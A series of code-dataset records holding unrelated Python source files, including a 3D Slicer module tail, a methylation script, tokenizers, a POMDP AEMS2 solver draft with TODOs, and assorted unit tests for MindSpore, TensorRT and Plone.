==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section VIII: Other Logic Functions ===============================\n # ------------------------------------------------------------------------------------------------------------------\n # --------------- Section VIII-01: Boolean (is_) Functions ---------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def isValid_idxTargetFrame(self, nodeSeqBrowser, idx_TargetFrame):\n ''' **Logic.isValid_idxTargetFrame(self, nodeSeqBrowser, idx_TargetFrame) ''' ''''''\n if nodeSeqBrowser and idx_TargetFrame >=0 and idx_TargetFrame < nodeSeqBrowser.GetNumberOfItems():\n return True;\n else:\n return False\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # --------------- Section VIII-02: Set / Update Functions ---------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self, idx_TargetFrame):\n ''' **Logic.logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self, idx_TargetFrame) ''' ''''''\n # 00-A. Check the validity of nodeSeqBrowser_Selected and idx_TargetFrame\n nodeSeqBrowser_Selected = self.getParameterNode().GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n if not nodeSeqBrowser_Selected: return\n # 00-B. Check the validity of idx_TargetFrame\n if not self.isValid_idxTargetFrame(nodeSeqBrowser_Selected, idx_TargetFrame):\n raise ValueError(f'SL_Alert! Invalid idx_TargetFrame = {idx_TargetFrame}'); return\n\n # 01. Update nodeSeqBrowser along with its the Current-SelectedItemNumber\n nodeSeqBrowser_Selected.SetSelectedItemNumber(idx_TargetFrame)\n print(f\"\\t\\t**Logic.logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex()\\t\"\n f\"nodeSeqBrowser_Selected.GetID() = {nodeSeqBrowser_Selected.GetID()}, idx_TargetFrame = {idx_TargetFrame}\")\n\n\n\n\n''' ================================================================================================================='''\n''' ================================================================================================================='''\n''' ================================================================================================================='''\n#\n# sl__US_SeqViewerTest\n#\nclass sl__US_SeqViewerTest(ScriptedLoadableModuleTest):\n \"\"\" This is the test case for your scripted module.\n Uses ScriptedLoadableModuleTest base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py \"\"\"\n def setUp(self):\n \"\"\" Do whatever is needed to reset the state - typically a scene clear will be enough. \"\"\"\n slicer.mrmlScene.Clear()\n\n def runTest(self):\n \"\"\"Run as few or as many tests as needed here. \"\"\"\n self.setUp()\n self.test_sl__US_SeqViewer1()\n\n def test_sl__US_SeqViewer1(self):\n \"\"\" Ideally you should have several levels of tests. At the lowest level\n tests should exercise the functionality of the logic with different inputs\n (both valid and invalid). At higher levels your tests should emulate the\n way the user would interact with your code and confirm that it still works\n the way you intended.\n One of the most important features of the tests is that it should alert other\n developers when their changes will have an impact on the behavior of your\n module. For example, if a developer removes a feature that you depend on,\n your test should break so they know that the feature is needed.\n \"\"\"\n\n self.delayDisplay(\"Starting the test\")\n\n pass\n\n self.delayDisplay('Test passed')\n\n\n","repo_name":"SenonETS/3DSlicerTutorial_ExtensionModuleDevelopment","sub_path":"04__CodeStyle_MethodGroups_&_US_SeqViewer/sl__US_SeqViewer/sl__US_SeqViewer.py","file_name":"sl__US_SeqViewer.py","file_ext":"py","file_size_in_byte":34834,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"}
+{"seq_id":"5836473752","text":"import sys\nimport argparse\nfrom Bio import SeqIO\nfrom Bio import Seq\nfrom Bio.Seq import MutableSeq\n\ndescription = \"\"\"\nModify a reference genome to methylate positions according to the input recognition set\n\"\"\"\n\nparser = argparse.ArgumentParser(description=description, epilog='')\nparser.add_argument('input', action='store', help='the input reference file')\nparser.add_argument('--recognition', action='store', help='the recognition set')\nargs = parser.parse_args()\n\nrecognition_sites = list()\nrecognition_sites_methylated = list()\n\nif args.recognition == \"cpg\":\n recognition_sites = [\"CG\"]\n recognition_sites_methylated = [\"MG\"]\nelif args.recognition == \"dam\":\n recognition_sites = [\"GATC\"]\n recognition_sites_methylated = [\"GMTC\"]\nelif args.recognition == \"dcm\":\n recognition_sites = [\"CCAGG\", \"CCTGG\"]\n recognition_sites_methylated = [\"CMAGG\", \"CMTGG\"]\nelse:\n sys.stderr.write(\"unknown recognition: \" + args.recognition)\n sys.exit(1)\n\nrecognition_length = len(recognition_sites[0])\n\n# \nfor rec in SeqIO.parse(args.input, \"fasta\"):\n outseq = rec.seq.tomutable()\n for bi in xrange(0, len(rec) - 1):\n\n for s,m in zip(recognition_sites, recognition_sites_methylated):\n if str(rec.seq[bi:bi + recognition_length]) == s:\n outseq[bi:bi + recognition_length] = m\n rec.seq = outseq\n SeqIO.write(rec, sys.stdout, \"fasta\")\n","repo_name":"xchromosome219/methylation-analysis","sub_path":"methylate_reference.py","file_name":"methylate_reference.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"}
+{"seq_id":"28426961855","text":"from janome.tokenizer import Tokenizer as janome_tokenizer\nimport jieba\nimport MeCab\nfrom tqdm import tqdm\nfrom random import sample\ntry:\n from resource.langconv import Converter\n from resource.load_zh_jp_transfer import load_transfer\n\n\n zh2jp, jp2zh = load_transfer()\n\n def convert_ja2zh(line):\n opt_line = []\n for ch in line:\n if ch in jp2zh:\n opt_line.append(jp2zh[ch])\n else:\n opt_line.append(ch)\n return \"\".join(opt_line)\nexcept BaseException:\n pass\n\n\nj_t = janome_tokenizer()\ndef segment_janome(line):\n seg = [token for token in j_t.tokenize(line, wakati=True)]\n return [word for word in seg if word != \"\"]\n\nm_t = MeCab.Tagger()\ndef segment_mecab(line):\n m = m_t.parseToNode(line)\n output_list = []\n while m:\n if not m.surface == \"\":\n output_list.append(m.surface)\n m = m.next\n return [word for word in output_list if word != \"\"]\n\ndef segment_jieba(line):\n try:\n line = Converter('zh-hans').convert(line).encode('utf-8')\n except BaseException:\n pass\n seg = list(jieba.cut(line))\n return [word for word in seg if word != \"\"]\n\ndef main(zh_method=\"jieba\", ja_method=\"janome\"):\n with open(\"./text/zh.txt\", \"r\", encoding=\"utf-8\") as f:\n zh_lines = f.readlines()\n seg_zh_lines = [\" \".join(segment_jieba(line)) for line in tqdm(zh_lines)]\n\n with open(\"./text/ja.txt\", \"r\", encoding=\"utf-8\") as f:\n ja_lines = f.readlines()\n \"\"\"\n Mecab is at least 30x quicker than janome.\n \"\"\"\n if ja_method == \"janome\":\n seg_ja_lines = [\" \".join(segment_janome(line)) for line in tqdm(ja_lines)]\n if ja_method == \"mecab\":\n seg_ja_lines = [\" \".join(segment_mecab(line)) for line in tqdm(ja_lines)]\n\n ja_lines_new = [convert_ja2zh(line) for line in seg_ja_lines]\n\n total_count = len(seg_zh_lines)\n test_index = sample(range(total_count), 1000)\n\n with open(\"./text/zh_segment.txt\", \"w\", encoding=\"utf-8\") as f:\n with open(\"./text/zh_segment_test.txt\", \"w\", encoding=\"utf-8\") as f_test:\n for index, line in enumerate(seg_zh_lines):\n if not index in test_index:\n f.write(line.strip() + \"\\n\")\n else:\n f_test.write(line.strip() + \"\\n\")\n\n with open(\"./text/ja_segment.txt\", \"w\", encoding=\"utf-8\") as f:\n with open(\"./text/ja_segment_test.txt\", \"w\", encoding=\"utf-8\") as f_test:\n for index, line in enumerate(ja_lines_new):\n if not index in test_index:\n f.write(line.strip() + \"\\n\")\n else:\n f_test.write(line.strip() + \"\\n\")\n\nif __name__ == \"__main__\":\n main(zh_method=\"jieba\", ja_method=\"mecab\")\n\n","repo_name":"GanjinZero/ACG_translator","sub_path":"tokenize_util.py","file_name":"tokenize_util.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"}
+{"seq_id":"70766422667","text":"#!/usr/bin/env python3\n\n\"\"\"\n.. codeauthor:: Tsuyoshi Hombashi \n\"\"\"\n\nimport os\nimport sys\nfrom textwrap import dedent, indent\n\nfrom subprocrunner import CalledProcessError, SubprocessRunner\n\n\ndef main() -> int:\n env = dict(os.environ, LC_ALL=\"C.UTF-8\")\n\n proc = SubprocessRunner(\"sqlitebiter -h\")\n try:\n proc.run(env=env, check=True)\n except CalledProcessError as e:\n print(f\"[ERROR] {e}\\n{e.stderr}\", file=sys.stderr)\n sys.exit(1)\n\n assert proc.stdout\n help_file_path = \"pages/usage/help.txt\"\n print(help_file_path)\n\n with open(help_file_path, \"w\") as f:\n f.write(\n dedent(\n \"\"\"\\\n ::\n\n \"\"\"\n )\n )\n\n f.write(indent(proc.stdout, \" \"))\n\n for subcommand in [\"file\", \"gs\", \"url\", \"stdin\"]:\n proc = SubprocessRunner(f\"sqlitebiter {subcommand:s} -h\")\n proc.run(env=env, check=True)\n assert proc.stdout\n help_file_path = f\"pages/usage/{subcommand:s}/help.txt\"\n\n print(help_file_path)\n\n with open(help_file_path, \"w\") as f:\n f.write(\n dedent(\n \"\"\"\\\n ``sqlitebiter {:s}`` subcommand help\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n ::\n\n \"\"\".format(\n subcommand\n )\n )\n )\n\n f.write(indent(proc.stdout, \" \"))\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"thombashi/sqlitebiter","sub_path":"docs/update_command_help.py","file_name":"update_command_help.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":794,"dataset":"github-code","pt":"82"}
+{"seq_id":"22015683193","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nUW, CSEP 573, Win19\n\"\"\"\n\nfrom pomdp import POMDP\nfrom onlineSolver import OnlineSolver\nfrom typing import List, Optional, Set\nimport numpy as np\n\n\nclass Node:\n def __init__(self):\n self.U: float = float('inf')\n self.L: float = float('-inf')\n \nclass ActionNode(Node):\n def __init__(self, ai: int, parent: Node, reward: float):\n super(Node, self).__init__()\n if not isinstance(parent, BeliefNode):\n raise Exception(\"Needs to be a belief node!\")\n \n self.parent: BeliefNode = parent # Belief node that points to this action node\n self.ai = ai # Action index\n self.reward: float = reward # Arc from belief node = R(b, a)\n self.children: List[BeliefNode] = [] # Children belief nodes\n \n \nclass BeliefNode(Node):\n def __init__(\n self,\n belief,\n parent: Optional[Node],\n depth: int,\n gamma_d: float,\n oi: int,\n obs_prob: float,\n obs_prob_cumulative: float,\n ):\n super(Node, self).__init__()\n if parent and not isinstance(parent, ActionNode):\n raise Exception(\"Needs to be an action node!\")\n \n self.parent: ActionNode = parent # action node pointing to this belief node\n self.belief = belief # numpy array\n self.children: List[ActionNode] = [] # action nodes that this points to\n self.depth = depth # depth\n self.gamma_d = gamma_d # discount^depth\n self.oi = oi # observation index\n self.obs_prob = obs_prob # probability of seeing the observation P(z | b, a) (arc from AND node)\n self.obs_prob_cumulative = obs_prob_cumulative # Pi[P(z|b,a) * P(a|b)] from i=0 to i=depth\n self.chosen_action_index = None\n \n \nclass AEMS2(OnlineSolver):\n def __init__(self, pomdp, lb_solver, ub_solver, precision = .001, action_selection_time = .1):\n super(AEMS2, self).__init__(pomdp, precision, action_selection_time)\n self.lb_solver = lb_solver\n self.ub_solver = ub_solver\n \"\"\"\n *****Your code\n You can add any attribute you want\n \"\"\"\n \n # Collections of all belief and action nodes\n self.belief_nodes: Set[BeliefNode] = set()\n self.action_nodes: Set[ActionNode] = set()\n \n # Initial belief comes from the prior\n initial_belief = np.copy(self.pomdp.prior)\n initial_L = self.lb_solver.getValue(initial_belief)\n initial_U = self.ub_solver.getValue(initial_belief)\n \n # After updating root, we increment this!\n self.depthOffset = 0\n self.gammaDivisor = 1.0\n self.rewardConst = self.getRewardConst()\n \n self.root: BeliefNode = BeliefNode(\n belief=initial_belief,\n parent=None,\n depth=0,\n gamma_d=1,\n oi=0,\n obs_prob=1.0,\n obs_prob_cumulative=1.0\n )\n self.root.L = initial_L\n self.root.U = initial_U\n self.belief_nodes.add(self.root)\n \n # Non-changing part of reward\n def getRewardConst(self):\n RT = np.multiply(self.pomdp.R[:,:,:,0], self.pomdp.T)\n sum = np.sum(RT, 2)\n return np.swapaxes(sum, 0, 1)\n #\n # Choose\n #\n def is_fringe_node(self, belief_node: BeliefNode) -> bool:\n if not belief_node.children:\n return True\n return False\n \n def get_all_fringe_nodes(self) -> List[BeliefNode]:\n fringe_nodes: List[BeliefNode] = []\n for bn in self.belief_nodes:\n fringe_nodes.append(bn)\n return fringe_nodes\n \n def select_best_fringe_node(self) -> BeliefNode:\n # If root is a fringe node, then return it\n if self.is_fringe_node(self.root):\n return self.root\n \n # Otherwise, select the next actions\n fringe_nodes = self.get_all_fringe_nodes()\n max = float('-inf')\n max_i = -1\n \n # b* ← arg maxb∈FRINGE(G) E(b)\n for i, bn in enumerate(fringe_nodes):\n e = self.E(bn)\n if e > max:\n max = e\n max_i = i\n return fringe_nodes[max_i]\n \n # E(b) = gamma^d * P(b) * e_hat(b)\n def E(self, bn: BeliefNode) -> float:\n return bn.gamma_d * self.e_hat(bn) * self.P(bn)\n \n def e_hat(self, bn: BeliefNode) -> float:\n return bn.U - bn.L\n \n def P(self, bn: BeliefNode):\n return bn.obs_prob_cumulative\n\n #\n # Expand\n #\n def expand(self, bn: BeliefNode):\n L_a_max = float('-inf')\n U_a_max = float('-inf')\n \n for ai, action in enumerate(self.pomdp.actions):\n L_a = U_a = reward = self.R_b_a(bn, ai)\n \n # Create new action node\n new_an = ActionNode(ai=ai, parent=bn, reward=reward)\n \n for oi, obs in enumerate(self.pomdp.observations):\n prob_arc_val = self.P_o_b_a(bn, ai, oi)\n \n # Calculate new belief\n # TODO!! Should oi be from the current observation or from the past (bn.oi)?\n new_belief = self.NewBelief(bn=bn, ai=ai, oi=oi)\n \n # Use heuristics to get U and L\n L = self.lb_solver.getValue(new_belief)\n U = self.ub_solver.getValue(new_belief)\n \n # TODO: Is this correct?\n # Equation 2 - set the action node L and U\n L_a += self.pomdp.discount * prob_arc_val * L\n U_a += self.pomdp.discount * prob_arc_val * U\n \n # TODO: Is this correct?\n # P(b^d) = Pi[P(o|b,a)*P(a|b)\n obs_prob_cumulative = bn.obs_prob_cumulative * bn.obs_prob\n \n # TODO: Create a new belief node and append to action node\n new_bn = BeliefNode(\n belief=new_belief,\n parent=new_an,\n depth=bn.depth+1,\n gamma_d=bn.gamma_d * self.pomdp.discount / self.gammaDivisor, # divisor for updateRoot\n oi=oi,\n obs_prob=prob_arc_val,\n obs_prob_cumulative=obs_prob_cumulative,\n )\n new_bn.L = L\n new_bn.U = U\n \n # Add the new BN to the new AN and to the belief node set (for searching)\n new_an.children.append(new_bn)\n self.belief_nodes.add(new_bn)\n \n # Get the max vals to update the current bn\n if L_a > L_a_max:\n L_a_max = L_a\n if U_a > U_a_max:\n U_a_max = U_a\n \n # Configure the action node and append to chosen bn (created by eq 2)\n new_an.L = L_a\n new_an.U = U_a\n bn.children.append(new_an)\n \n # TODO: Does this actually need to happen? Where is this in the paper?\n bn.U = U_a_max\n bn.L = L_a_max\n \n def R_b_a(self, bn: BeliefNode, ai: int) -> float:\n return float(np.dot(bn.belief, self.rewardConst[:, ai]))\n # ASS = np.einsum('ijkl->ijk', self.pomdp.R)\n # AS = np.einsum('ijk->ij', ASS)\n # S = AS[ai]\n # res = np.dot(S, bn.belief)\n # return float(res)\n \n # total = 0.0\n # for si in range(len(self.pomdp.states)):\n # # What should these values be???\n # total += self.pomdp.R[ai, si, 0, 0]\n # return total\n \n # Calculates EQ 3 in the paper\n def P_o_b_a(self, bn: BeliefNode, ai: int, oi: int) -> float:\n # TODO: This is probably wrong!\n # total = 0.0\n # for s_prime in range(len(self.pomdp.states)):\n # O = self.pomdp.O[ai, s_prime, oi]\n # s_sum = sum(self.pomdp.T[ai, si, s_prime]*bn.belief[si] for si in range(len(self.pomdp.states)))\n # total += O * s_sum\n # return total\n current_belief = np.matmul(bn.belief, self.pomdp.T[ai, :, :])\n current_belief = np.dot(current_belief, self.pomdp.O[ai, :, oi])\n return float(current_belief)\n \n # This calculates b'(s') using EQ 1 from the paper\n def NewBelief(self, bn: BeliefNode, ai: int, oi: int):\n b_prime = np.zeros(len(self.pomdp.states))\n \n for s_prime in range(len(self.pomdp.states)):\n O = self.pomdp.O[ai, s_prime, oi]\n s_sum = sum((self.pomdp.T[ai, si, s_prime]*bn.belief[si]) for si in range(len(self.pomdp.states)))\n b_prime[s_prime] = O * s_sum\n \n # Apply normalization\n nf = np.sum(b_prime)\n if nf:\n b_prime = np.divide(b_prime, nf)\n return b_prime\n \n #\n # Backtrack\n #\n def backtrack(self, bn: BeliefNode, L_old: float, U_old: float):\n while bn != self.root:\n an = bn.parent\n an.L += self.pomdp.discount * bn.obs_prob * (bn.L - L_old)\n an.U += self.pomdp.discount * bn.obs_prob * (bn.U - U_old)\n \n # TODO: is there really a typing error here?\n bn = an.parent\n L_old, U_old = self.update_belief_node(bn)\n \n def update_belief_node(self, bn: BeliefNode):\n L_old, U_old = bn.L, bn.U\n max_ai = -1\n U_max = L_max = float('-inf')\n \n for ai, an in enumerate(bn.children):\n if an.U > U_max:\n U_max = an.U\n max_ai = ai\n if an.L > L_max:\n L_max = an.L\n \n bn.L = L_max\n bn.U = U_max\n bn.chosen_action_index = max_ai\n return L_old, U_old\n \n def expandOneNode(self):\n \"\"\"\n *****Your code\n \"\"\"\n # Choose\n best_fringe_node = self.select_best_fringe_node()\n L_old, U_old = best_fringe_node.L, best_fringe_node.U\n \n # Expand\n self.expand(best_fringe_node)\n \n # Backtrack\n self.backtrack(bn=best_fringe_node, L_old=L_old, U_old=U_old)\n \n # Consider using termination condition\n return True\n\n def chooseAction(self) -> int:\n \"\"\"\n *****Your code\n \"\"\"\n if self.root.chosen_action_index is not None:\n return self.root.chosen_action_index\n \n max_U = float('-inf')\n max_ai = -1\n for ai, an in enumerate(self.root.children):\n if an.U > max_U:\n max_ai = ai\n max_U = an.U\n \n return max_ai\n \n \n def updateRoot(self, action, observation):\n \"\"\"\n ***Your code \n \"\"\"\n # TODO: May want to throw a bunch of stuff away (plus their children) instead of keeping it in memory\n chosen_an = self.root.children[action]\n throwaway_action_nodes = [an for an in self.root.children if an != chosen_an]\n chosen_bn = chosen_an.children[observation]\n throwaway_belief_nodes = [bn for bn in chosen_an.children if bn != chosen_bn]\n \n # Update root\n self.belief_nodes.remove(self.root)\n self.root = chosen_bn\n self.root.parent = None\n self.depthOffset += 1\n self.gammaDivisor *= self.pomdp.discount\n","repo_name":"kail/csep573","sub_path":"pomdp/aems.py","file_name":"aems.py","file_ext":"py","file_size_in_byte":11533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"28181948674","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n__author__ = 'MFC'\n__time__ = '18/4/22 23:45'\n\n\"\"\"\n11-1 python 中的 GIL\nGIL = global interpreter lock (in cpython)\npython中一个线程对应于c语言中的一个线程\ngil使得同一个时刻只有一个线程在一个cpu上执行字节码,无法将多个线程映射到多个cpu上执行\npypy是去gil化的 \n\"\"\"\n\nimport dis\n\n\ndef add(a):\n a = a + 1\n return a\n\n\nprint(dis.dis(add))\n","repo_name":"yudn/Python3Scripts","sub_path":"imooc/AdvancePythonIO/chapter11/python_gil.py","file_name":"python_gil.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"zh","doc_type":"code","dataset":"github-code","pt":"82"}
+{"seq_id":"20645251938","text":"import mindspore\nimport mindspore as ms\nimport mindspore.ops as ops\nimport numpy as np\nimport pytest\nfrom mindspore import nn\nfrom mindspore.common.initializer import initializer\n\nfrom mindediting import is_ascend\nfrom mindediting.models.common.tunable_conv import TunableConv2d, TunableParameter\n\nms.set_seed(1)\nnp.random.seed(1)\n\n\n@pytest.mark.parametrize(\"num_params\", [2, 3])\n@pytest.mark.parametrize(\"default_input\", [initializer(init=\"uniform\", shape=(1, 1, 1), dtype=ms.float32)])\ndef test_tunable_parameter(default_input, num_params):\n assert num_params > 1\n batch_size = num_params\n gamma = TunableParameter(\n default_input=default_input, name=\"gamma\", requires_grad=True, num_params=num_params, mode=\"linear\"\n )\n px = ops.eye(num_params, num_params, ms.float32)\n g = gamma(px)\n print(gamma)\n assert g.shape == (batch_size, *default_input.shape)\n\n\n@pytest.mark.parametrize(\"num_params\", [3])\n@pytest.mark.parametrize(\"kernel_size\", [3])\n@pytest.mark.parametrize(\"stride\", [1])\n@pytest.mark.parametrize(\"group\", [1])\ndef test_tunable_conv2d(num_params, kernel_size, stride, group):\n\n assert num_params > 1\n mse = nn.MSE()\n batch_size = num_params\n b, c, h, w, d = batch_size, 16, 24, 24, 32\n x = ops.normal(shape=(b, c, h, w), mean=ms.Tensor(0.0), stddev=ms.Tensor(1.0))\n px = ops.eye(num_params, num_params, ms.float32)\n\n tunable_conv = TunableConv2d(\n c, d, kernel_size, stride=stride, group=group, has_bias=True, num_params=num_params, mode=\"linear\"\n )\n conv = nn.Conv2d(c, d, kernel_size, stride=stride, group=group, has_bias=True)\n print(tunable_conv)\n y = tunable_conv(x, px)\n for p in range(num_params):\n conv.weight = tunable_conv.weight[0, p, ...]\n conv.bias = tunable_conv.bias[0, p, ...]\n y_p = conv(x[p : p + 1, ...])\n if is_ascend():\n assert mse(y[p : p + 1, ...], y_p) < 1e-4\n else:\n assert mse(y[p : p + 1, ...], y_p) < 1e-6\n","repo_name":"mindspore-lab/mindediting","sub_path":"tests/st/test_tunable_cell.py","file_name":"test_tunable_cell.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"82"}
+{"seq_id":"1540497852","text":"from Small_UnetGated import UNetLWGated,ConvHis\nimport torch\nimport tensorrt as trt\nimport common\nimport numpy as np\nimport torch.nn as nn\nfrom config import mdevice\nTRT_LOGGER = trt.Logger(trt.Logger.WARNING)\nmodel_his = ConvHis()\nmodel_his.load_state_dict(torch.load(\"totalModel.140.pth.tar\")[\"state_dict\"],strict=False)\nmodel_his=model_his.to(mdevice).eval()\nfor key in model_his.state_dict():\n print(key)\nprint(model_his.state_dict()[\"convHis3.7.running_mean\"])\ndef build_engine():\n with trt.Builder(TRT_LOGGER) as builder, builder.create_network() as network:\n builder.max_workspace_size = common.GiB(1)\n input_tensor = network.add_input(name=\"test\",dtype=trt.float32,shape=(1,1,2,2))\n upsample1=network.add_resize(input=input_tensor)\n upsample1.resize_mode = trt.ResizeMode.NEAREST\n upsample1.shape=(1,1,4,4)\n upsample1.scales=[1,1,2,2]\n network.mark_output(tensor=upsample1.get_output(0))\n return builder.build_cuda_engine(network)\nwith build_engine() as engine:\n inputs, outputs, bindings, stream = common.allocate_buffers(engine)\n inputs[0].host=np.arange(1,5).reshape((1,1,2,2)).astype(np.float32)\n m_upsample=nn.Upsample(scale_factor=2, mode='nearest')\n print(inputs[0].host)\n print(m_upsample(torch.from_numpy(inputs[0].host)))\n with engine.create_execution_context() as context:\n [output] = common.do_inference(context, bindings=bindings, inputs=inputs, outputs=outputs, stream=stream)\n print(output.reshape(1,1,4,4))\n","repo_name":"fuxihao66/ExtraNetTRTInference","sub_path":"deploy_trt_manual.py","file_name":"deploy_trt_manual.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"}
+{"seq_id":"18348088775","text":"import re\n\nfrom triple_quote_clean import TripleQuoteCleaner\n\nfrom ai_template_style_transfer import transfer\n\ntqc = TripleQuoteCleaner()\n\ndescription = (\n tqc\n << \"\"\"\n *Background*\n\n Solution files uploaded into AWS will be loaded into Databricks tables. We\n will assume that the ground truth for the data loaded into Databricks will\n match the output from a set of local extraction samples. (i.e. the\n extraction end to end on a local device. Note I am assuming that the local\n extraction has already been sufficiently tested). For each loaded table, for\n each row, metadata columns will be added showing the file source and\n ingestion time.\n\n *Method*\n\n using the added meta-data columns,\n\n - we will confirm that all source files are ingested into Databricks\n - ensure that when compared to a local extraction.\n - row counts match.\n - all data matches.\n - no duplicates are found.\n\n *Narrative*\n\n As a Validator, I want to ensure the data is accurate and consistent with\n the ground truth from local extraction samples.\n\n *Acceptance Criteria*\n\n Given solution files are uploaded into AWS and loaded into Databricks\n tables, When comparing the data in Databricks with local extraction samples,\n Then the following conditions should be\n\n met:\n\n - All source files are ingested into Databricks using the added metadata\n columns\n - Row counts match between Databricks tables and local extraction samples *\n All data matches between Databricks tables and local extraction samples\n - No duplicate records are found in Databricks tables*\n \"\"\"\n)\n\nassertion_failed_message = \"template conditions not met\"\n\n\ndef test_transfer__jira_issue():\n style_transferred = transfer.jira_issue(description).lower()\n\n print(style_transferred)\n\n assert (\n len(re.findall(\"as a\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(r\"\\\\*narrative\\\\*\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"i want\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(r\"\\\\*acceptance criteria\\\\*\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"given that\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"when the\", style_transferred)) > 0\n ), assertion_failed_message\n\n assert (\n len(re.findall(\"then the\", style_transferred)) > 0\n ), assertion_failed_message\n\n\nif __name__ == \"__main__\":\n test_transfer__jira_issue()\n","repo_name":"Chr1sC0de/template-style-transfer","sub_path":"tests/test__transfer_style.py","file_name":"test__transfer_style.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"47674546782","text":"from unittest import TestSuite, makeSuite\nfrom Products.CMFCore.utils import getToolByName\n\nfrom pmr2.app.workspace.tests.storage import DummyStorage\n\nfrom pmr2.app.exposure.content import ExposureContainer, Exposure\nfrom pmr2.app.exposure.adapter import *\n\nfrom pmr2.app.exposure.tests.base import ExposureUnitTestCase\n\n\nclass TestAdapters(ExposureUnitTestCase):\n\n def afterSetUp(self):\n self.portal['exposure'] = ExposureContainer('exposure')\n tester = Exposure('tester')\n self.portal.exposure['tester'] = tester\n\n def test_000_original_adapter(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'cake'\n workspace = ExposureToWorkspaceAdapter(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n def test_001_fullpath_adapter(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'/plone/workspace/cake'\n workspace = ExposureToWorkspaceAdapter(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n def test_010_original_traverse(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'cake'\n workspace = ExposureToWorkspaceTraverse(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n def test_011_fullpath_traverse(self):\n tester = self.portal.exposure.tester\n self.assertEqual(tester.workspace, None)\n tester.workspace = u'/plone/workspace/cake'\n workspace = ExposureToWorkspaceTraverse(tester)\n self.assertEqual(workspace.absolute_url_path(), \n '/plone/workspace/cake')\n\n\nclass TestExposureStorageAdapter(ExposureUnitTestCase):\n \"\"\"\\\n This tests the dummy framework and implementation, along with the\n adapter with manual registration.\n \"\"\"\n\n def setUp(self):\n ExposureUnitTestCase.setUp(self)\n self.portal['exposure'] = ExposureContainer('exposure')\n self.workspace = self.portal.workspace.blank\n tester = Exposure('tester')\n tester.commit_id = u'0'\n tester.workspace = u'/plone/workspace/blank'\n self.portal.exposure['tester'] = tester\n self.exposure = self.portal.exposure['tester']\n\n def test_010_storage_adapter_failure(self):\n # but workspace has storage unspecified\n self.assertRaises(ValueError, ExposureStorageAdapter, self.exposure)\n\n def test_020_storage_adapter_success(self):\n self.workspace.storage = 'dummy_storage'\n # storage adapter should now return.\n result = ExposureStorageAdapter(self.exposure)\n self.assert_(isinstance(result, DummyStorage))\n self.assertEqual(result.rev, '0')\n\n\ndef test_suite():\n suite = TestSuite()\n suite.addTest(makeSuite(TestAdapters))\n suite.addTest(makeSuite(TestExposureStorageAdapter))\n return suite\n","repo_name":"PMR2/pmr2.app","sub_path":"pmr2/app/exposure/tests/test_adapters.py","file_name":"test_adapters.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"38096320183","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/10/31 15:22\n# @Author : Alex\n# @Site : \n# @File : runtest.py\n# @Software: PyCharm\n\nimport unittest\n\n# 利用TestLoader类中提供的discover()方法\n# 定义测试用例的目录为当前目录\ntest_dir = './test_case'\ndiscover = unittest.defaultTestLoader.discover(test_dir, pattern='test*.py')\n\nif __name__ == '__main__':\n runner = unittest.TextTestRunner()\n runner.run(discover)\n","repo_name":"Crazy-bear/mytest","sub_path":"test_web/runtest.py","file_name":"runtest.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
